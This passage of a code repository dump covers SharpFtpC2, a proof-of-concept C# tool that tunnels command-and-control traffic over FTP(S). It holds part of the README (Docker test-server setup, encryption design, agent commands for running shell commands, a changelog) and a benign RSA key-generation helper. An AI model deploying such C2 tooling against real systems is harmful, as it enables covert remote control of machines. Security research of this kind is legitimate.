attacks. Although FTP servers have made strides in addressing these security issues by increasingly adopting FTPS, which integrates SSL/TLS encryption, this adaptation has not been a panacea for all the inherent risks. 32 | 33 | With a touch of ingenuity and by drawing inspiration from existing protocols, it is feasible to tackle a substantial number of the existing risks. 34 | 35 | ## Give a Try 36 | 37 | To compile this project, you require two components: [Visual Studio](https://visualstudio.microsoft.com/?WT.mc_id=SEC-MVP-5005282) and a dependency for the controller named [CommandLineUtils](https://www.nuget.org/packages/Microsoft.Extensions.CommandLineUtils?WT.mc_id=SEC-MVP-5005282). 38 | 39 | *As this project utilizes .NET Core, it can be compiled for various platforms with ease, without necessitating any code modifications. However, you may need to implement specific features tailored to the target platform.* 40 | 41 | To begin testing this project swiftly, I recommend employing Docker with the [stilliard/pure-ftpd](https://hub.docker.com/r/stilliard/pure-ftpd/) image. This image supports a range of options, enabling you to rapidly set up your own FTP server with ease. 42 | 43 | `docker pull stilliard/pure-ftpd` 44 | 45 | ### Without TLS 46 | 47 | `docker run -d --name ftpd_server -p 21:21 -p 30000-30009:30000-30009 -e "PUBLICHOST: 127.0.0.1" -e "ADDED_FLAGS=-E -A -X -x" -e FTP_USER_NAME=dark -e FTP_USER_PASS=toor -e FTP_USER_HOME=/home/dark stilliard/pure-ftpd` 48 | 49 | ### With TLS (Recommended) 50 | 51 | `docker run -d --name ftpd_server -p 21:21 -p 30000-30009:30000-30009 -e "PUBLICHOST: 127.0.0.1" -e "ADDED_FLAGS=-E -A -X -x --tls=2" -e FTP_USER_NAME=dark -e FTP_USER_PASS=toor -e FTP_USER_HOME=/home/dark -e "TLS_CN=localhost" -e "TLS_ORG=maislaf" -e "TLS_C=FR" stilliard/pure-ftpd` 52 | 53 | 54 | Feel free to tailor the settings according to your requirements. However, I strongly advise against exposing this test FTP server to local or public networks. It would be more prudent to limit the exposure of this container solely to your host machine. 55 | 56 | The `ADDED_FLAGS` option allows you to fine-tune the pure-ftpd server. Explanations for all the flags can be found [here](https://linux.die.net/man/8/pure-ftpd). 57 | 58 | Certain flags may necessitate modifications to the functioning of the C2 protocol. For instance, if you employ the `-K` option to retain all files, the ability to delete files via FTP will be disabled. Since the current C2 protocol utilizes this feature, you might need to contemplate alternative approaches, such as file renaming or moving. 59 | 60 | ## C2 Encryption (RSA + AES) 61 | 62 | To ensure the integrity and confidentiality of all communications between the agents and the C2, encryption has been seamlessly incorporated into the communication protocol, employing both RSA and AES-GCM 256-bit algorithms. The primary objective of this feature is to thwart the possibility of a compromised FTP server delivering malicious commands. By employing encryption, command injection is rendered impossible without access to the agent's public key. Similarly, it is not feasible to inject fake agent responses without possession of the C2's public key. 63 | 64 | To make the process of generating your own key pairs easier (one key pair for the agent and one for the C2), I have included a third-party tool called **RSAKeyHelper** Each time you run the application, it will present you with a freshly generated pair of public and private keys, which can be utilized within the program if you opt to employ encryption. 65 | 66 | ![Banner Image](Assets/Images/RSAKeyHelper_1.png) 67 | 68 | To verify that everything operates as intended, I have also integrated a feature within the same tool that allows you to test string encryption. 69 | 70 | ![Banner Image](Assets/Images/RSAKeyHelper_2.png) 71 | 72 | ## Supported Commands 73 | 74 | * Run a shell command and echo response. 75 | * Terminate agent process. 76 | 77 | ## Changelog 78 | 79 | ### June 09 2023 - v1.0b 80 | 81 | - First release. 82 | 83 | ### June 16 2023 - v1.0 84 | 85 | - Support for encryption has been introduced, utilizing RSA and AES-GCM 256-bit algorithms, to safeguard the integrity and confidentiality of communications between agents and the C2 server. 86 | 87 | ### June 21 2023 - v2.0 88 | 89 | - Code Optimization: The codebase has been optimized for better performance. 90 | - Protocol Improvement: The communication protocol has been enhanced and is now more modular, allowing for greater flexibility. 91 | - Support for Different RSA Key-Pairs: C2 and agents can now operate with different RSA key-pairs, enabling them to coexist without conflict on the same FTP server. 92 | - Implementation of Dangerous Action Validation Delegate: A validation delegate has been implemented to prompt users for confirmation before executing potentially dangerous actions. 93 | 94 | ### June 23 2023 - v3.0 Final 95 | 96 | - A bug fix has been implemented for the execution of shell commands. All commands should now execute without causing the entire application to hang. 97 | - Protocol version checking between the Command and Control (C2) and Agent(s) has been incorporated. If a protocol version mismatch is detected, the agent will be disregarded by the C2. 98 | 99 | The release of version "3.0 Final" signifies the culmination of this project. I will not be adding any further features; the objective of this PoC was to demonstrate the creation of a reliable and secure C2 utilizing FTP(S). You're encouraged to develop your own version with tailored functionalities. As an exercise, you might consider implementing multi-threading tasking to prevent the application from hanging during long-duration tasks. 100 | 101 | I will, however, continue to provide support for the project in terms of addressing potential bugs or opportunities for optimization. 102 | 103 | ## Screenshots 104 | 105 | (List of agents) 106 | ![Main](Assets/Images/main.png) 107 | 108 | (Execute command to active(context) agent) 109 | ![Command](Assets/Images/command.png) 110 | 111 | (Agent console debug window with dangerous action user-confirmation) 112 | ![Agent](Assets/Images/agent.png) 113 | -------------------------------------------------------------------------------- /RSAKeyHelper/RSAKeyHelper.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.6.33723.286 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RSAKeyHelper", "RSAKeyHelper\RSAKeyHelper.csproj", "{1E474090-96A7-433C-BFE6-0F8B45DECC42}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {1E474090-96A7-433C-BFE6-0F8B45DECC42}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {1E474090-96A7-433C-BFE6-0F8B45DECC42}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {1E474090-96A7-433C-BFE6-0F8B45DECC42}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {1E474090-96A7-433C-BFE6-0F8B45DECC42}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {2CF7C00A-9DD2-454B-86E2-4EB222AF08CB} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /RSAKeyHelper/RSAKeyHelper/Program.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * ========================================================================================= 3 | * Project: SharpFtpC2 - RSA Key Helper (v1.0) 4 | * 5 | * Description: SharpFtpShell is a compact C# project that showcases the technique 6 | * of tunneling Command and Control (C2) communication via FTP(S). 7 | * 8 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc) 9 | * Email: jplesueur@phrozen.io 10 | * Website: https://www.phrozen.io 11 | * GitHub: https://github.com/DarkCoderSc 12 | * Twitter: https://twitter.com/DarkCoderSc 13 | * License: Apache-2.0 14 | * ========================================================================================= 15 | */ 16 | 17 | using System.Security.Cryptography; 18 | using System.Text; 19 | 20 | class Program 21 | { 22 | public static void WriteTitle(string title) 23 | { 24 | string line = new('=', title.Length + 4); 25 | 26 | Console.WriteLine(line); 27 | 28 | Console.Write("= "); 29 | 30 | Console.ForegroundColor = ConsoleColor.Green; 31 | Console.Write(title); 32 | Console.ResetColor(); 33 | 34 | Console.WriteLine(" ="); 35 | 36 | Console.WriteLine(line); 37 | Console.WriteLine(); 38 | } 39 | 40 | public static void WriteLabel(string label) 41 | { 42 | Console.ForegroundColor = ConsoleColor.Green; 43 | Console.WriteLine($"@{label}"); 44 | Console.ResetColor(); 45 | } 46 | 47 | public static void DisplayKeyValue(string key, string value, ConsoleColor color = ConsoleColor.Green) 48 | { 49 | Console.ForegroundColor = color; 50 | Console.Write("* "); 51 | Console.ResetColor(); 52 | Console.Write($"{key} : "); 53 | Console.ForegroundColor = color; 54 | Console.Write(value); 55 | Console.ResetColor(); 56 | 57 | Console.WriteLine(); 58 | } 59 | 60 | public static string FormatByteArrayAsString(byte[] bytes, int? maxLength = null) 61 | { 62 | var candidates = maxLength.HasValue ? bytes.Take(maxLength.Value) : bytes; 63 | 64 | string formatedByteString = string.Join(":", candidates.Select(b => b.ToString("x2"))); 65 | 66 | if (maxLength.HasValue) 67 | formatedByteString += "...more..."; 68 | 69 | return formatedByteString; 70 | } 71 | 72 | public static string ComputeFingerprint(byte[] data) 73 | { 74 | using SHA1 sha1 = SHA1.Create(); 75 | 76 | byte[] hash = sha1.ComputeHash(data); 77 | 78 | return FormatByteArrayAsString(hash); 79 | } 80 | 81 | public static void Main(string[] args) 82 | { 83 | var (publicKey, privateKey) = AsymEncryptionHelper.GenerateRSAKeyPair(4096); 84 | 85 | using AsymEncryptionHelper encryptionHelper = new(publicKey, privateKey); 86 | 87 | WriteTitle("Generated RSA Key Pair"); 88 | 89 | // Output Public and Private Keys as Base64 90 | WriteLabel("PubKey:"); 91 | Console.WriteLine(Convert.ToBase64String(publicKey)); 92 | WriteLabel("EOF"); 93 | 94 | Console.WriteLine(); 95 | 96 | WriteLabel("PrivKey:"); 97 | Console.WriteLine(Convert.ToBase64String(privateKey)); 98 | WriteLabel("EOF"); 99 | 100 | // Output Public and Private Keys Fingerprint 101 | Console.WriteLine(); 102 | DisplayKeyValue("Public Key Fingerprint", ComputeFingerprint(publicKey)); 103 | DisplayKeyValue("Public Key Guid Fingerprint", encryptionHelper.GetPublicKeyFingerprint().ToString() ?? ""); 104 | 105 | DisplayKeyValue("Public Key Fingerprint", ComputeFingerprint(privateKey)); 106 | DisplayKeyValue("Private Key Guid Fingerprint", encryptionHelper.GetPrivateKeyFingerprint().ToString() ?? ""); 107 | Console.WriteLine(); 108 | 109 | // Test encryption with generated keys 110 | Console.WriteLine("Type some text to encrypt (`exit` to terminate the program)"); 111 | 112 | while (true) 113 | { 114 | Console.Write("plain text > "); 115 | string? plainText = Console.ReadLine(); 116 | 117 | if (plainText == null || plainText == "exit") 118 | return; 119 | 120 | Console.WriteLine(); 121 | 122 | encryptionHelper.AESCallback += (plainAesKey, cipherAesKey, Nonce, Tag) => 123 | { 124 | WriteLabel("AES-GCM 256 Debug Information:"); 125 | 126 | DisplayKeyValue("Nonce", FormatByteArrayAsString(Nonce)); 127 | DisplayKeyValue("Tag", FormatByteArrayAsString(Tag)); 128 | DisplayKeyValue("Plain AES Key", FormatByteArrayAsString(plainAesKey)); 129 | DisplayKeyValue("Cipher AES Key", FormatByteArrayAsString(cipherAesKey, 16)); 130 | 131 | Console.WriteLine(); 132 | }; 133 | 134 | WriteTitle("Encryption / Decryption Tester"); 135 | 136 | string cipherText = encryptionHelper.EncryptToJson(plainText); 137 | 138 | WriteLabel("Ciphertext:"); 139 | Console.WriteLine(cipherText); 140 | Console.WriteLine(); 141 | 142 | byte[] plainTextBuffer = encryptionHelper.DecryptFromJson(cipherText); 143 | 144 | WriteLabel("Plaintext:"); 145 | Console.WriteLine(Encoding.UTF8.GetString(plainTextBuffer)); 146 | Console.WriteLine(); 147 | } 148 | } 149 | } -------------------------------------------------------------------------------- /RSAKeyHelper/RSAKeyHelper/RSAKeyHelper.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Exe 5 | net6.0 6 | enable 7 | enable 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | --------------------------------------------------------------------------------